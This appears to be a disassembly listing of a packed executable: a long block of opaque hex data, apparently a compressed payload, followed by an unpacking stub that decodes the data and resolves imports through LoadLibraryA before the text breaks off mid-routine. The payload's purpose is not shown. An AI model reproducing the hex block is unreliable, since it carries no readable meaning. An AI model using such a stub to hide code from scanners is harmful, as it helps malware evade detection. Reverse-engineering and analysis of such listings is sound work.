0AD7F7C25h, 0C5033857h dd 0BF1B1135h, 0DE276BF6h, 0B5B81654h, 833FBA55h, 8442461h dd 0F0F15F90h, 53CA3CD8h, 0C74D1C4Bh, 37888F39h, 13844539h dd 8E5CEA0Ch, 5DE77554h, 526F6E2Eh, 55535BF2h, 3750B55Ah dd 0BFA260D2h, 0B9ABA4CAh, 257744C3h, 0C2D31BD5h, 1437812Ah dd 0C91E74DCh, 8CA89003h, 209061B3h, 1E87373Fh, 4BD001A1h dd 6B3112BCh, 7011CAADh, 9F47176Fh, 5B296198h, 943EF265h dd 717C3C2h, 7279FE47h, 6F0BA709h, 0B732189Dh, 0EAC3E8BAh dd 2F2195FAh, 0AD1C7C9Eh, 0D52F26B6h, 26E4AA40h, 2D91CB12h dd 3AA10F17h, 3DCCCCE8h, 75586369h, 93E07DE9h, 7DFF30ACh dd 95CCA6D4h, 0AD92F1BBh, 0CA7E631Ah, 261E9C50h, 5B4685A5h dd 56688D28h, 8698E587h, 721BD161h, 318D724Dh, 3DFF520Ch dd 151F6F0Ah, 0DA0AF36Eh, 3C263D75h, 0F21CA474h, 4C34B80Fh dd 9E8D0644h, 6AD31AA5h, 5BBBCA1Dh, 20CA5EDFh, 0BB14924Ch dd 0D4E8C406h, 988C3C4Bh, 0C3FED50Ah, 1A0D1816h, 391C0B1Fh dd 0D5281C9Ch, 0A928CB8Bh, 76B0D112h, 8FE364F5h, 163A182Eh dd 0EA9D5C06h, 0DBAE172Bh, 45D36634h, 673A64F2h, 56051060h dd 8F6E3BCh, 898FF29Ah, 53B4640Ch, 7B2E6514h, 0E09BE6A0h dd 225F677Ah, 6BD65C8Bh, 0E3FB3655h, 7260333Dh, 2351E368h dd 0BD1C229Ah, 0FEBE0B51h, 0FAEB9EC6h, 17A951F7h, 927517E6h dd 65D5D627h, 8158EDDFh, 65DE696Dh, 0ACF82E82h, 725B4BB1h dd 0F4451881h, 1825897Bh, 695C5264h, 78B36514h, 84580867h dd 235539BDh, 38D34AAFh, 64BBD028h, 527BBDD6h, 0ACD1B4F9h dd 7959E886h, 0EE6971BEh, 30A9DBAAh, 5BE8497Dh, 6E29722Bh dd 2AABC960h, 0DD1377FEh, 365CBD28h, 0E9077FF1h, 319B045Bh dd 83550DEDh, 96F3211Bh, 41AA2DD2h, 0C9A87CACh, 520D0292h dd 0FF0C3973h, 94CEED71h, 0AA7072B1h, 2CC42F2Dh, 5A533E71h dd 0DE87540Ah, 0ED08367Fh, 0FC35627Eh, 8596B260h, 2E6FC860h dd 51E900C4h, 134B9C18h, 0D84561EEh, 8D03BE10h, 2FDD7EFCh dd 0B4C7A307h, 12BC0D16h, 256BD328h, 17E0D8CAh, 10C29FC0h dd 81AF940Eh, 55D9634Eh, 44BB3286h, 9DBCFFFBh, 7AAF94Eh dd 2A713AF4h, 7B5E2417h, 0BD1832B5h, 0B10A8A53h, 0D3444B71h dd 56BE058Ah, 0C53C14ABh, 0ED534E3Dh, 0C5B96372h, 2B484437h dd 3C9B851Dh, 87F1E042h, 0F25695B6h, 5BB585C8h, 57D44EC5h dd 0A2FA556Dh, 0F6A4BA27h, 0E22E5D27h, 7B414D02h, 79FA265Eh dd 5E6B7153h, 790B30B0h, 4B882EC7h, 0F65A0AAEh, 4CDCBA94h dd 30F3802h, 0AA709329h, 0F288BCC3h, 0DB5FEC4h, 3F9BB0BDh dd 35A8278h, 85FB7EA3h, 8E937FD3h, 3718B419h, 1350DCFBh dd 4ECBA001h, 84B25217h, 15FE67A2h, 82B67DACh, 0C72A07ABh dd 0C26CF375h, 1834AC00h, 0E63875D6h, 3D116D3Fh, 0A6365258h dd 3C85D647h, 0EBF6A49Bh, 23BE2740h, 0CAE38C5Dh, 21CBC142h dd 0CC5D73Ch, 775736A0h, 0B5317D92h, 0F2A91EF4h, 0DE2B7E61h dd 55F86ABDh, 7FBE1A56h, 62D2BAC3h, 0BD46D414h, 0C850B8D2h dd 635CAE2Eh, 5A1A0825h, 1ACE2634h, 0ECF4D664h, 9C133DA0h dd 0E1610009h, 0D038C675h, 0CC3412FAh, 0B7000812h, 565BCCFh dd 0CDF836B2h, 0C6B91B2Bh, 0B6BCD933h, 0C203CD37h, 0E07318F7h dd 1CE7893Fh, 0FC77C0AEh, 267CFC94h, 0ECE53647h, 7A2F36D9h dd 586CA449h, 4FF0C25Fh, 269E488Ch, 0C2648632h, 9EC890EFh dd 96B8113Fh, 0F0CBF25Bh, 449C60E5h, 0CCFEB71Eh, 8CD8C305h dd 0EC2E792Ch, 0FCFFD2B7h, 0EF707060h, 0CAA7F455h, 9D798748h dd 297E838Fh, 545DCD18h, 82E11FBFh, 0F088F61Dh, 0E3FDB2F2h dd 68BAEEDBh, 473BD316h, 91A311EDh, 27A61275h, 3B65A2D1h dd 202B9A6Dh, 0C4A092C6h, 93B4CC42h, 0C9AF3E41h, 6BC3C60Ch dd 0DB004312h, 360A04EFh, 3917C874h, 6743D9A0h, 42C5F4D2h dd 0ED1297F2h, 40B9014h, 0B21603EDh, 0A93E0049h, 77807E31h dd 0BB724287h, 611CCEBDh, 0F294AEC3h, 0A4CF0002h, 0BBC20A53h dd 271F9F62h, 24369F26h, 0E4F184F6h, 1199E473h, 34E1C54Dh dd 5991202Ch, 0CAD5DD9Fh, 0F4173129h, 5E5E07Fh, 0B9989E53h dd 77662EC0h, 0EF7CB525h, 734E4953h, 4195D792h, 2BE1B939h dd 0ECAB130Ah, 4AA4E1E8h, 7CDDE716h, 0CB6CD14Eh, 13689BC5h dd 0F875E61Dh, 0E0EF1B96h, 3C6AD276h, 0B921B8D3h, 0CA42AE51h dd 26071031h, 0F6387852h, 5078EA63h, 99B8DFF9h, 8C805F02h dd 0A06160BBh, 7D5A8AB0h, 5AF20859h, 6DAF8B2h, 2F0F34EDh dd 7C0D0B24h, 9FFA337Eh, 4D25A42Ah, 0C91E7408h, 0EF2C79A3h dd 8A9E97F2h, 1388861Dh, 127B1A87h, 0AE59968Ah, 7ADF13E0h dd 0DC4133B2h, 5BF6258Bh, 25009182h, 0CB911760h, 0AA0F8FA1h dd 4C43CD16h, 0E2B224DBh, 0E539AC1Ch, 3E9E14BFh, 0A15A9938h dd 28B366DDh, 933B65DFh, 9584B11Dh, 364FEB42h, 366600B4h dd 9077B085h, 229E39C6h, 33A54CFDh, 1DD2178Ch, 7746ACE0h dd 5DBDBDE6h, 8EBCE9E3h, 3FC00D24h, 5FF57C5Ch, 0CA87EB1Eh dd 0D6888275h, 0C4A31E05h dd 0D6FEC7F5h, 0DC02AC2Ah, 0EB3B27A0h, 2C51B30Eh, 0C58221CAh dd 5182CAE9h, 0AEE4314Ah, 1613C4F4h, 7B64BCB1h, 6862BFE4h dd 92A01C89h, 0B9FA8527h, 66AC7D5Ah, 0DDCCBB1Ah, 0D5FE811Fh dd 3A8086B8h, 36D0AA7h, 15E58451h, 1C0D8BC4h, 0FCA34AE1h dd 0F4670387h, 878448DCh, 26269295h, 705077FBh, 0CDDC2323h dd 0AF27B319h, 14D3CA52h, 45E3446Ch, 247898F4h, 0C26224D7h dd 2C32D1A3h, 577CC5DFh, 26BEF29Ah, 0C8634819h, 0D23D5D64h dd 21FA81A6h, 935975A3h, 0BD7E731Dh, 0BF955893h, 0F256FA46h dd 61115E36h, 54EA77A4h, 0ED21BA31h, 0E48B5644h, 38EDF61Ch dd 0EDB6ED12h, 0FC8251EAh, 825E8B42h, 0ABD018FEh, 28485D7Bh dd 1DFC5745h, 0CE47AB52h, 26F563D4h, 0B7B74BCEh, 293A8E6h dd 0C5F8DAD7h, 41696D0Ch, 65DAB4C3h, 8D8692CBh, 7109742Ah dd 62684BD6h, 16F96AF7h, 0CD713CF4h, 1CD9A058h, 4C0EC9D2h dd 2566B869h, 0B7C9AF99h, 47A640C5h, 0E60AA98Fh, 7EB180DEh dd 309680FFh, 400E6E80h, 6E08BC15h, 31AACF74h, 64D9F128h dd 8A6EB921h, 1F3EB1B9h, 0C2C18BE5h, 0D783A656h, 2D57751Fh dd 0D05781D0h, 5BE4D1A7h, 0D9C32DC5h, 0C76EC92Ah, 39BDC14Dh dd 2EB8E5B0h, 0A19A5A43h, 0F97F6327h, 94ED6A60h, 7A546806h dd 0CCDFADD2h, 0F97B4820h, 94262CF8h, 5C24504Ah, 1A120DEBh dd 0A0CFA102h, 0B6D7ABEFh, 370C694Fh, 43F0EEA2h, 0E2C93DAAh dd 0B40529B0h, 17E9B7F3h, 9EF01CB3h, 3CBDF7D1h, 66DD62A0h dd 0BCD64946h, 4A142DAFh, 809CC273h, 6B794E8Fh, 87276994h dd 120E5D50h, 99F1C76h, 543BCE2Eh, 98DBAC5Bh, 4501207Ch dd 0E22B36E0h, 9149A187h, 0E8AB51C2h, 7144D73Ah, 2633A8E1h dd 6DEB39E8h, 0E59B19B9h, 0ED982CF5h, 2E35ABB4h, 4C88B2CCh dd 8F78BB50h, 0DEDC63C9h, 38252C71h, 0C97D5FDEh, 3F0873EDh dd 0D5F33DE9h, 0F584DC77h, 2C5CD323h, 0E3EDBE7Fh, 0F96CE869h dd 2B0E5321h, 78D2D1AAh, 5302FAF7h, 9AA3FD16h, 7AF4E4DDh dd 4F8EB7FBh, 7EAB49D7h, 0F99866E6h, 0E3F8ABF4h, 78DE441Ah dd 0E336FA74h, 74D19E11h, 0DA0FEBF6h, 0F892DC85h, 6ACB2CD1h dd 35563986h, 0BF517062h, 0EEBEA975h, 57C0B96Ch, 0B3C63735h dd 0F709B4CEh, 5227EF24h, 32E64B7Fh, 0F1ECF525h, 63BF76DEh dd 0F65F028Eh, 0B51044AEh, 464AF5F9h, 4CD3BB85h, 1EA9CF30h dd 0D8356264h, 369F7C72h, 32D2486Dh, 54B387F4h, 0CB1D9333h dd 0AF18DA5Fh, 4A30A6Dh, 66AB333Ah, 0E7AF5C3Bh, 519CCDBEh dd 0D2BFCCFDh, 0A6870Ah, 737638BBh, 2FDC94ECh, 5153BAA7h dd 4E1BAF33h, 0D47BB1CFh, 0E8F9CE55h, 0A90EA4C4h, 910EA019h dd 7EBE4202h, 5B51942Eh, 580E005Fh, 7533A79Eh, 3172F686h dd 0F06CFFE1h, 76417C9Ah, 0DBFA83E3h, 0A919D47Ch, 8230F973h dd 3D3D2CB7h, 0D6E0967h, 984A52D0h, 2FBC7014h, 0BF9C37Eh dd 0EDB9D24Ah, 7691C00Ah, 99263F9Eh, 980D3ACBh, 15F560D6h dd 0AE4C5E91h, 14614A70h, 8AAA7609h, 404A8A6Bh, 1BFE2D77h dd 67267C1Fh, 7B183113h, 614097F4h, 0B9941C80h, 0A773342Eh dd 0AF01C070h, 4D3B9134h, 2036AF89h, 2011CEBAh, 8844B361h dd 0A130311Dh, 659E2EFCh, 0F70C8506h, 4A467AA2h, 0FD5E3CBDh dd 1A1156A8h, 6C00E53h, 59FD29B6h, 0CD28E47Eh, 0C76FBD48h dd 54ADF370h, 244F38E2h, 3FB85CE5h, 8933475Bh, 41A2D42Eh dd 7CE3AAB7h, 8A2522BBh, 426D2ADFh, 59DEF437h, 0EF84A653h dd 7A1CAFA4h, 0A469CC3Dh, 5C3A1661h, 0E78C38Eh, 2DCB8923h dd 231D4F1Ah, 1C0A4AFEh, 0F5EE1798h, 0E53692EFh, 1FF1CF15h dd 9A023B1Ch, 69F9FD03h, 9E7EF29Ch, 792EAD62h, 0BE0D3CCBh dd 0E5043E2Bh, 83CCB705h, 65315754h, 7518BEEh, 6DAB09D5h dd 0D37927B4h, 0A756BB07h, 0A50426A1h, 71EE6B91h, 0FE81567Ah dd 90A8D950h, 0F69D17EAh, 886687D1h, 766D6CC2h, 0D3AEAFB9h dd 0C604B230h, 898A2D4h, 0D8CEA92Dh, 607ECAAFh, 0F68CE64Ch dd 77643718h, 48AB6A82h, 33A9621Fh, 0A5BD9AC6h, 0FF04347Fh dd 2FB98B9Fh, 151DA4F9h, 0C538E5C0h, 8B7367CDh, 0EB44987Eh dd 91CB483Ch, 2122212Ah, 1019F9F7h, 0C06B5845h, 3DE66E09h dd 34A3F9D7h, 50157719h, 0B91F069h, 196DA641h, 0E163F3F1h dd 0AD452132h, 0EA6073B7h, 21805145h, 0EC8BA689h, 4CA98075h dd 0DFBA1F55h, 0D6F4472Fh, 46260426h, 0E5429DB8h, 0E341DD50h dd 0AB87E0DAh, 1D74F0FEh, 51290B75h, 0F316F7Ch, 84CCD591h dd 0EC2CC9EFh, 0CF0E5739h, 6D4090C4h, 0A7617B1Ch, 0EC5B605Eh dd 7475D6F1h, 0E6F3D2E6h, 0CA44CF4Bh, 0B87414F1h, 82C559F2h dd 872E8ADDh, 0D94C5AA7h, 1BE48CEh, 62F41C9Bh, 0EF882387h dd 0B3C0C039h, 0F3D06DA3h, 12C5AB37h, 0B07EB3Ah, 4A504AA1h dd 1913E996h, 9A62786h, 8B871612h, 0AD5AD189h, 0FAB72C90h dd 4054F64Ch, 4ADEF93Fh, 0AFDBFAD2h, 90AAFEB1h, 52A22E98h dd 771A160h, 0E0B7BA95h, 25763246h, 0CF2BCB7Eh, 51A70CA3h dd 2386BF3Dh, 61C3BB2Eh, 0D101469Ch, 0DAAACA09h, 85E2203Fh dd 0B7809E73h, 0FFE113A1h, 44DEC34Fh, 4BFA5C16h, 25DDA2CCh dd 0CC67C35h, 34A17104h, 9A31E893h, 7ED5787Ch, 4118BC12h dd 0FDBAF146h, 77164B9Dh, 3F14CB12h, 476F8202h, 0B95A436Eh dd 0BF601755h, 0CF558C11h, 7921CCB6h, 7224E342h, 0CDE2B631h dd 4B544Bh, 985F71A1h, 0BBE2F018h, 84FD8820h, 5B64BC77h dd 4E22A5B7h, 61AD0635h, 5C93D481h, 0E5CAF015h, 2D250CCh dd 0A0D16890h, 1E19D21Dh, 8924DD0Eh, 0F11B134Ah, 0E56344BEh dd 0D3FC9F92h, 0DE86B8BBh, 7ADB8644h, 2A1AC2E8h, 0E4DF13BBh dd 2810062h, 16F6FBB5h, 0D33D4245h, 123D1B57h, 0FF286AB6h dd 3F955C48h, 7D5308FEh, 16114AD5h, 7AE8CA13h, 0E907CBF0h dd 0FFAC4B5h, 0A99BC9D1h, 675789C2h, 0CA300428h, 3B7CCA1Ah dd 220EEDEBh, 47B39DD1h, 0E7B489ECh, 4A8E6575h, 30AFD23Dh dd 0FACDD763h, 2D4286D2h, 0B785AA57h, 6C275512h, 0D308245h dd 0CA1713E7h, 0FBA8287Bh, 355D5565h, 0F6ABC15Eh, 0D2FD0B6Dh dd 0AC17D4E5h, 259FD7F2h, 0FB1CF52Fh, 8A09A319h, 99BA4E0Fh dd 0C8821954h, 9036C1A2h, 0FBDB8134h, 48A03FB9h, 0EC75F14h dd 65AA5829h, 0D30ECECDh, 0FA8067EEh, 3354E0E2h, 0B179B63Ah dd 1E27330h, 719B1561h, 5311AEC4h, 0A2BD6E6Fh, 9D7494A9h dd 9706824h, 6985D5B5h, 3317FEE6h, 8552A7C4h, 60FA54B9h dd 0B89F67F6h, 7A7D35D7h, 3303A9A8h, 59D0277Eh, 141FA742h dd 5AF23B2Bh, 0A51B16C9h, 7CF1943h, 0A1F79217h, 7FC1BF87h dd 2613B3Eh, 0DA864B37h, 0E6854C78h, 3606866Bh, 224F358Eh dd 7DD7C66Eh, 146AD643h, 0E84C6BD8h, 6F5B2601h, 0B9FF5746h dd 8CEA8F7Dh, 3C891577h, 71845799h, 49DF4CF2h, 253C040Dh dd 0A41873DEh, 9CAE86BDh, 6A345286h, 0BE9E184Dh, 0D7C24A7Ah dd 8D19758Ch, 3EA93A67h, 7DE00AB8h, 3F9C49AAh, 0FDC87033h dd 0DB84386h, 5AA04381h, 0EAAFD90Dh, 877DCF51h, 0A1C648D2h dd 2B563FAFh, 0AA1273Ch, 8D1D5782h, 4062F6C0h, 0A1EFBE1Ah dd 0A1072E55h, 8770795h, 888DC473h, 3A083895h, 0E5644838h dd 115EAB53h, 0F41037D6h, 0EB21D375h, 70445B19h, 2D679D47h dd 0EF35E969h, 99FAD17Bh, 9912CAEDh, 10D740C2h, 0F0A754D4h dd 6DE4A654h, 0FA780C3Ch, 7DD8963Ah, 836E933Bh, 0E6E5494Ah dd 46BC7AD3h, 49E9D9A6h dd 4E13C8B6h, 79C0633Fh, 0C6A545Eh, 0A703A4Ah, 45428D23h dd 687796C5h, 283E13A8h, 48D72C96h, 0E8730FC0h, 7BA03654h dd 757BB504h, 8CB4CCDFh, 347BDB46h, 0ECD89735h, 2353B3h dd 0BFF204E9h, 4AB99CE3h, 3A656ECh, 0EC09CA2h, 0EDB40288h dd 67C53D12h, 0DC4828E1h, 0DA1A6ECDh, 8CCF8D1Bh, 2C237865h dd 0F1B4DAD3h, 0B442B311h, 2380D783h, 0D7EA09D3h, 0EE2FC595h dd 0F644734Dh, 6804D884h, 15E04BDDh, 9297ACE4h, 39E892E2h dd 0EF3DEE8Bh, 10CDC580h, 96757AC7h, 0E5C14D38h, 1129F9AEh dd 1E0C92F0h, 89F36868h, 2A2E59F3h, 4871BAB8h, 134E0B61h dd 0AB90A952h, 0E1C287C9h, 0BA31D3B9h, 0C8B7B34Ch, 4D22DF5Ch dd 0C76681EEh, 158F3C8Eh, 49B49852h, 0E07BE833h, 4B2384DAh dd 0FF07F9F3h, 94C162BCh, 8AEB2CF9h, 442F24Ch, 18D9048Eh dd 91003CE0h, 0DA75D928h, 0F859375Dh, 18F5CDDh, 1F34E96Dh dd 4A69C72Bh, 4529FD25h, 0FF5E54DCh, 41C82D61h, 0D0B366F2h dd 0C64756E2h, 0CAFFF19Ah, 20FF00B1h, 0FDF21198h, 431B3A3Eh dd 0D2BCEA73h, 9C35E905h, 0B853EB0Ah, 7F951DF8h, 0D1D9D6ACh dd 0BB7FA8F3h, 0D346D40Ah, 0E67D6CB6h, 70B23C6Dh, 5E019B23h dd 0AE79F062h, 3861E90Dh, 0A2DE2CA5h, 2166C258h, 0F1E956D6h dd 0D5183418h, 23C87B82h, 6BA3AF58h, 41A1476Dh, 33CAA8B1h dd 6C66133Ah, 0B92591A0h, 9577A6FBh, 76D85235h, 0DB2B26F1h dd 0BC2A4A2Ch, 3F292DA5h, 1AB92428h, 83E00C34h, 3C1CF226h dd 7CDC6243h, 5F359899h, 5FA7AB30h, 0D8D12088h, 347F4D1Eh dd 1339D2DEh, 24A8F302h, 36726693h, 0E6D029D6h, 7302C8FFh dd 0C5BCC4h, 0B49F2200h, 2C88C9E8h, 503E9C39h, 0F3C761CAh dd 0CE145C7Dh, 0C11D6611h, 653FB7DCh, 3C29D2A0h, 0D56215CFh dd 0C713A175h, 385ED633h, 2B9CCD4Dh, 0D61DBB01h, 0B07354FCh dd 1C61E414h, 0EB0CBA02h, 0A35A6391h, 0CAD9800Bh, 5561C5FDh dd 94AA418Dh, 6969055h, 6D7BC9B9h, 68D2049h, 8753FD3h dd 0CCC2EE8Ah, 0F3F81ED6h, 0C85DDD96h, 0D90688BFh, 3DBA5110h dd 0A1CD52FFh, 37C45482h, 0E0D379AAh, 3412504Ah, 0E5189091h dd 0D2797EB8h, 19406196h, 0A04C55ABh, 67B1C874h, 0C8B8198Bh dd 7E7A5F7Bh, 0EA9B8A8Fh, 9330F1FFh, 45211303h, 0E954C950h dd 85F342E7h, 4D5E27F5h, 0C18D773h, 48065119h, 0BC18F0BDh dd 4A2778A5h, 0E4110F84h, 558169BCh, 0B8798995h, 0CAE0BD4Dh dd 0CA20FDAFh, 22301267h, 99342BB6h, 356B3344h, 0B5796635h dd 0A304BEA8h, 0B4D1CE3Ch, 63718C89h, 628D1046h, 0A27394F9h dd 9C37978Bh, 709C1DD5h, 15383C2Fh, 84E3696Eh, 94B0D70Bh dd 1C6EC780h, 472A06EBh, 459E8179h, 5D9ACC06h, 243D5067h dd 75E40F17h, 1997A8C7h, 508A01EEh, 8C3630EBh, 0B20F44D5h dd 898DCEE7h, 0DC262E2Bh, 85493786h, 48DCAAFBh, 7E8C806Bh dd 0B37AB95Eh, 11A8F4F5h, 3A855AD2h, 4E1CFBC6h, 0F19DBD20h dd 0B6C1A84Eh, 0C7E6D9EFh, 90D8F66Ah, 0A6726FBEh, 66B25831h dd 94ACB90Fh, 4583357h, 6435DABDh, 0A3F4EF48h, 0AC05D07Ah dd 3C43FE37h, 7AF6ABF6h, 5B426B0Ah, 5771DC4Ch, 2B682CCAh dd 8AFBABD1h, 5EA4D311h, 478204E5h, 91594586h, 0F246A78Bh dd 85D8A23h, 9DBB13B5h, 0BB3F8A48h, 0FDBB57F8h, 4BD0FF11h dd 7A7647F8h, 0A43B46D0h, 78E2CBF1h, 2716564Bh, 7A8F911Eh dd 68681BA5h, 23F93D5Ah, 17A1AA5Ch, 0D9B5F5C1h, 73B76D8Bh dd 1A5BE598h, 3E1E3001h, 714D720Eh, 0E8B5A951h, 71137179h dd 0D8878581h, 34A99A49h, 0BA711857h, 2AAD43A1h, 0EAAA6E93h dd 1D238168h, 0FA8540A7h, 70A46D37h, 4977A3F9h, 6F6E8ADh dd 0ECB0BB20h, 1CF5C4FFh, 0ED847385h, 0AE85198Bh, 0CF5D56AFh dd 5BE24A9Fh, 5AD686DAh, 0EFBBE39Dh, 5D0765A1h, 0B2569C5Ch dd 3C6B9702h, 97F7049h, 0F015CA4Eh, 0A20F13Ch, 18A5D4CDh dd 0D7F1442Bh, 0DAB27BAh, 8D022365h, 60BF530Ah, 441DC27Fh dd 8F483A24h, 61351748h, 9CE7FC88h, 1EBF54D8h, 6E7AB385h dd 296F67E5h, 35BC1B55h, 29DA48E7h, 0F87CC631h, 0DB209C0Dh dd 0CE56026Fh, 67A238F3h, 0F0C480D0h, 0A02148D8h, 92BBCF43h dd 2B373DE2h, 0B118F007h, 37E87CB3h, 9C93EBA2h, 76BE67F1h dd 97C05181h, 961F3297h, 0A01A84FBh, 6A2FEEACh, 99A5DCCAh dd 0BF19988Ah, 5B5DCA37h, 939AAE47h, 9CFA90FCh, 304E7A18h dd 0CC9BA8C6h, 86272443h, 692A006h, 2CF09DB7h, 944DD967h dd 689A75F6h, 0D8E9DA26h, 7CBCFBC5h, 0B9718AAAh, 0E0CA8506h dd 0A09C3612h, 740E44CAh, 38A7E584h, 5551592Dh, 0DEA5EC24h dd 8D3904EEh, 16ACEC52h, 0C46D3542h, 0D8FFA3E8h, 63C808C9h dd 139E278Dh, 7306ECF2h, 0DD6BF70Ah, 8B049E15h, 3D4BB91Eh dd 435F720Ah, 18B0975Fh, 0AD38C515h, 73133DD5h, 0ED7D5D39h dd 72EF2A1Ch, 0B1F54A45h, 22A71170h, 0D96EE67Fh, 0DD394312h dd 9E0F99A0h, 2A8A1F10h, 0F72EAACEh, 148612h, 205CAB4Bh dd 0C72ED6EDh, 2BC2572Eh, 77C3B155h, 35E1B16h, 39C01345h dd 6B7A172h, 70FCF3FAh, 0C4C42FDDh, 0A04275B8h, 5031728Dh dd 0C5650C73h, 28502DA2h, 3407C230h, 34424819h, 186F2FEEh dd 0B921089Eh, 0A98FC428h, 2F4B360Ch, 0B1F20475h, 0ED3ECCF4h dd 0EA857128h, 0F780E643h, 90DA984Ch, 7A4B3C6Bh, 21BAED2Eh dd 5CEB6A69h, 0CC43ADD1h, 8FB40C91h, 987D7F7h, 5784AE4Bh dd 0F5485E0Bh, 63526972h, 0E4262C01h, 2B0C0F35h, 0AD96FB0Dh dd 9FCB5213h, 0B5C9163Fh, 0C78BFEDCh, 0ADBC8C21h, 8B34B51Fh dd 0D0405485h, 685905AAh, 462B65CAh, 0EA71B962h, 46CB6829h dd 0C2983278h, 0DC2B096Bh, 0CDE3134Fh, 64D78C34h, 455F1D06h dd 640EF35Dh, 0A883466Bh, 0BB2F57EEh, 0FD70763Ch, 2D0658D1h dd 4F9B9737h, 8D9E4A35h, 3A7760A9h, 6F2B1A67h, 0D0A91B7Ch dd 3DAE3292h, 0A436FB47h, 0D5328802h, 546B561Dh, 39583B3Bh dd 0E006BF30h, 0F61C670Bh, 0EEDF58B2h, 0ADB3CAD6h, 0ED22EDB9h dd 315FF430h, 1137DCFh, 0AC7D9796h, 34E5B43Bh, 0D8AAF077h dd 0A9ED8E8Fh, 9B2D6B65h, 6BEF4159h, 0C31332B5h, 791D7B37h dd 262E8EFBh, 6FF2E208h, 0C7DC0D5h, 75B67311h, 440D2ECEh dd 0D4DB1339h, 3F29B917h, 0C44A9725h, 0B5D8F2B9h, 0C1E5AC7Ch dd 19A1F280h, 0C78FCC30h, 35DDF5B6h, 32A7B769h, 0B7EDFEDEh dd 5D000B21h, 7F62930Dh, 2BF910BDh, 41CF52DCh, 98C3C295h dd 4C6C64D1h, 0B169294Ch, 36721E2Ch, 0E000D2B7h, 0C2BD0B99h dd 3BB62817h, 41D814Ah, 0C947E183h, 81C57BA6h, 2D5662B0h dd 2A27EE83h, 8DE415Bh, 7B99B800h, 64B4A40Dh, 373BA1A7h dd 9168DEEBh, 7DF90CFEh, 7CE51E84h, 63F73746h, 0A561B601h dd 856A5BE5h, 66B2FB1Fh, 0D1EB0436h, 0D7A7833Eh, 0B3AFD939h dd 3D8D094h, 597421AFh, 92C58BA7h, 0A9454740h, 0EB155C03h dd 2B7BA930h, 0F66A12B9h, 377D8A68h, 14D62AE5h, 66D3CFF9h dd 0B279A6ADh, 16303449h, 175021Bh, 0D699FD71h, 72C223C0h dd 55A0BE4Ch, 0B71048D1h, 79A0096Dh, 0ABB4DACBh, 9169122Ch dd 177BDB18h, 0D1F481BAh, 1820C064h, 8E7E1906h, 0D879B5D9h dd 26FA0D2Eh, 83AB8659h, 66D7A80Eh, 0C782DC2h, 157463E9h dd 7D0B6FC7h, 9EB70C4h, 686ED868h, 0B762760h, 7B508332h dd 45F0161Dh, 0D69F277Dh, 0EE75B81Fh, 0AB14E30Ch, 6C112398h dd 6C21AA4Eh, 483CF29Bh dd 234CAF9Dh, 0C02EC0C5h, 89FEDC68h, 0BA820804h, 0FCE95DA0h dd 0FF5BEA83h, 59043360h, 0A19D950Dh, 0F69A30BDh, 487CD152h dd 0B16F094h, 3A0597BEh, 0ECDA97CFh, 0EF1831B5h, 686C297Ah dd 0E5B8595Bh, 0BA1917B2h, 60223EAAh, 74A7C73Fh, 22820F32h dd 7CB2FE4Ah, 0FB320E14h, 0F7BF934Ch, 2FD17784h, 0ADE0F016h dd 98BF769Eh, 1AFAE1BEh, 21BA3AC5h, 73EEBF66h, 0B74D2F92h dd 0F50DB132h, 23BA9CD1h, 521A525Fh, 0D748D0C5h, 0E8D0FA08h dd 5574EABDh, 5C728019h db 0D9h ; =============== S U B R O U T I N E ======================================= public start start proc near mov ebp, offset off_3EA408 mov dword ptr [ebp+0], 3E00D4h dec dword ptr [ebp+8] mov byte ptr [ebp+0Ch], 5 lea edi, [ebp+14h] xor eax, eax mov ah, 4 mov ecx, eax rep stosd mov edi, offset loc_3F2816 push edi mov esi, offset sub_3EA186 loc_3EA0BE: ; CODE XREF: start+4Aj xor ecx, ecx inc ecx dec dword ptr [ebp+0Ch] loc_3EA0C4: ; CODE XREF: start+3Aj lea ebx, [ebp+ecx*4+0A0h] call esi ; sub_3EA186 adc cl, cl jnb short loc_3EA0C4 inc dword ptr [ebp+0Ch] xchg eax, ecx stosb or ecx, 0FFFFFFFFh loc_3EA0D9: ; CODE XREF: start+B2j lea ebx, [ebp+ecx*4+18h] call esi ; sub_3EA186 jz short loc_3EA0BE jecxz short loc_3EA0FA lea ebx, [ebp+1Ch] call esi ; sub_3EA186 jz short loc_3EA0FA lea ebx, [ebp+8A0h] call sub_3EA1E1 mov eax, [ebp+10h] jmp short loc_3EA13C ; --------------------------------------------------------------------------- loc_3EA0FA: ; CODE XREF: start+4Cj start+53j lea ebx, [ebp+4A0h] call sub_3EA1E1 dec ecx dec ecx js short loc_3EA149 lea ebx, [ebp+20h] jz short loc_3EA111 add ebx, 40h loc_3EA111: ; CODE XREF: start+77j xor edx, edx inc edx loc_3EA114: ; CODE XREF: start+8Aj call sub_3EA1D7 lea ecx, [eax+ecx*2] test dl, 10h jz short loc_3EA114 inc ecx xchg eax, ecx lea ebx, [ebp+8A0h] call sub_3EA1E1 cmp eax, 800h sbb ecx, 0FFFFFFFFh cmp eax, 60h sbb ecx, 0FFFFFFFFh loc_3EA13C: ; CODE XREF: start+63j mov [ebp+10h], eax push esi mov esi, edi sub esi, eax rep movsb pop esi jmp short loc_3EA0D9 ; --------------------------------------------------------------------------- loc_3EA149: ; CODE XREF: start+72j mov esi, offset byte_3F2B6F mov ebx, offset LoadLibraryA push ebp loc_3EA154: ; CODE XREF: start+D5j inc esi lodsd test eax, eax jz short loc_3EA184 xchg eax, edi push esi call dword ptr [ebx] test eax, eax jz short loc_3EA178 xchg eax, ebp loc_3EA163: ; CODE XREF: start+D1j start+E1j lodsb test al, al jnz short loc_3EA163 cmp [esi], al jz short loc_3EA154 js short loc_3EA17C push esi loc_3EA16F: ; CODE XREF: start+EDj push ebp call dword ptr [ebx+4] stosd test eax, eax jnz short loc_3EA163 loc_3EA178: ; CODE XREF: start+CBj inc eax pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_3EA17C: ; CODE XREF: start+D7j inc esi xor eax, eax lodsw push eax jmp short loc_3EA16F ; --------------------------------------------------------------------------- loc_3EA184: ; CODE XREF: start+C3j pop ebp retn start endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_3EA186 proc near ; CODE XREF: start+36p start+48p ... push ecx mov eax, [ebp+8] shr eax, 0Bh mov ecx, [ebp+0] imul eax, [ebx] mov ecx, [ecx] bswap ecx sub ecx, [ebp+4] cmp eax, ecx mov ecx, [ebp+0Ch] jbe short loc_3EA1B2 mov [ebp+8], eax xor eax, eax mov ah, 8 sub eax, [ebx] shr eax, cl add [ebx], eax xor eax, eax jmp short loc_3EA1C1 ; --------------------------------------------------------------------------- loc_3EA1B2: ; CODE 